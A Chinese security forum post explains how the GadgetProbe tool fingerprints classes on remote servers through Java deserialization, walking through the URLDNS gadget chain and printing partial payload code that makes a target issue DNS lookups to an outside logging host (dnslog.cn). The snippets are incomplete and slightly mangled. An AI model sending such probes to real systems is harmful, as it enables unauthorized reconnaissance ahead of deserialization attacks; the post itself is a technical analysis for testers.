# 盲测java反序列化类库的工具GadgetProbe【通过】

**URL:** <https://forum.90sec.com/t/topic/812>\
**Category:** 账号审核\
**Created:** [2020 年2 月 25 日 02:08 UTC](https://forum.90sec.com/t/topic/812 "2020-02-25T02:08:39Z")\
**Posts on this page:** 2\
**Page:** 1

<div class="post-metadata">

作者： ![afanti](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/ecc23a/32.png) [@afanti](https://forum.90sec.com/u/afanti)\
发布日期： [2020 年2 月 25 日 02:08 UTC](https://forum.90sec.com/t/topic/812/1 "2020-02-25T02:08:40Z")

</div>

黑盒测java反序列化漏洞时，一般都得通过流量特征去挖掘，比如这款是结合burp:  
[https://github.com/federicodotta/Java­Deserialization­Scanner](https://github.com/federicodotta/Java%C2%ADDeserialization%C2%ADScanner)

找到匹配流量换成ysoserial生成的payload的直接打，一般在测漏洞时，我都是先用URLDNS这条gadget检测反序列化漏洞，然鹅，一个蛋疼的问题，不知道服务器上存在的危险类有哪些，一般是用ysoserial生成所有payload的去打，服务器设置策略可能URLDNS 53端口的流量能出来，其他的则不能，这就导致漏检。

在逛twitter时，发现了这个工具：

> **[BishopFox/GadgetProbe](https://github.com/BishopFox/GadgetProbe)**
>
> Probe endpoints consuming Java serialized objects to identify classes, libraries, and library versions on remote Java classpaths. - BishopFox/GadgetProbe

下面分析分析这款工具的原理：  
URLDNS这条gadget还是比较好理解的：

![image](https://forum.90sec.com/uploads/default/original/2X/2/20ab506c3b54ab393a5c2d19a5c3ea07d079b475.png)

简单来说，通过`HashMap`的`readObject`来触发，`putVal`时候key进入了hash方法，调用key的  
`hashCode`方法，通过`URLStreamHandler`这个类的`hasCode`触发DNS查询。

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/ace759003423a6c9b2914de0aa4e114ba102459a.png)

payload构造就像下面这样，hasCode改为­1是为了绕过缓存判断。

```
public Object getObject(final String url) throws Exception
{
    URLStreamHandler handler = new SilentURLStreamHandler();
    HashMap ht = new HashMap();
    URL u = new URL(null, url, handler);
    Reflections.setFieldValue(u, "hashCode", -1);
    return ht;
}

```

自己调一下代码就理解URLdns是怎么触发的，这篇文章说的也很细：

> **[通过HashMap触发DNS检测Java反序列化漏洞](http://rui0.cn/archives/1135)**
>
> 我们常说的反序列化漏洞一般是指readObject()方法处触发的漏洞，而除此以外针对不同的序列化格式又会产生…

理解了URLDNS，再来看看GadgetProbe这个工具的原理：

先生成序列化的gadget，`edd8xa.dnslog.cn`是DNS平台的地址，服务器待检测的类：  
`com.bishopfox.gadgetprobe.GadgetProbe`

```
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("o
            bject.obj "));
            GadgetProbe gp = new GadgetProbe("edd8xa.dnslog.cn"); Object obj = gp.getObject("com.bishopfox.gadgetprobe.GadgetPr
                obe ");
                oos.writeObject(obj); oos.flush(); oos.close();

```

生成对象的代码，u是检测的类名和dns平台的拼接，来到`getOrGenerateClass`函数:

 ![image](https://forum.90sec.com/uploads/default/original/2X/7/7320b680478dd931c9dc68dfda236445b9a4718e.png)

如果类在服务器上存在，加载类，反正通过Javassist生成一个类。

 ![image](https://forum.90sec.com/uploads/default/original/2X/b/b210d84cd336dd13f0c8348691929489d010e3e2.png)

反序列化调用链跟URLDNS一样，如果这个类在服务器上存在，就会在dns平台上收到请求。

 ![image](https://forum.90sec.com/uploads/default/original/2X/0/063f2dc6170db3f167e2999e2798673014c1d967.png)

 ![image](https://forum.90sec.com/uploads/default/original/2X/b/bf11ef8538a0049d2bb44017935141176e1f2fbf.png)

如果测试的类在服务器上不存在，就会抛出异常。

 ![image](https://forum.90sec.com/uploads/default/original/2X/4/4c7e243ab4a3036a956e2e7f4abe55e1795ad38e.png)

原理就是这样，工具这大哥已经写成burp的插件，暴力测试远程类是否在服务器上通过DNSLog回  
显判断，地址在这里

> **[BishopFox/GadgetProbe](https://github.com/BishopFox/GadgetProbe)**
>
> Probe endpoints consuming Java serialized objects to identify classes, libraries, and library versions on remote Java classpaths. - BishopFox/GadgetProbe

用法也比较简单参考上面链接。

_Poll ([view on site](https://forum.90sec.com/t/topic/812/1))_

---

<div class="post-metadata">

作者： ![admin05](https://forum.90sec.com/user_avatar/forum.90sec.com/admin05/32/12_2.png) [@admin05](https://forum.90sec.com/u/admin05)\
发布日期： [2020 年2 月 25 日 02:09 UTC](https://forum.90sec.com/t/topic/812/2 "2020-02-25T02:09:07Z")

</div>

下载阅读：

[盲测java反序列化类库的工具GadgetProbe.pdf](https://forum.90sec.com/uploads/short-url/qMkN75tDVtS9EmNbOghzcGaNSd5.pdf) (546.0 KB)
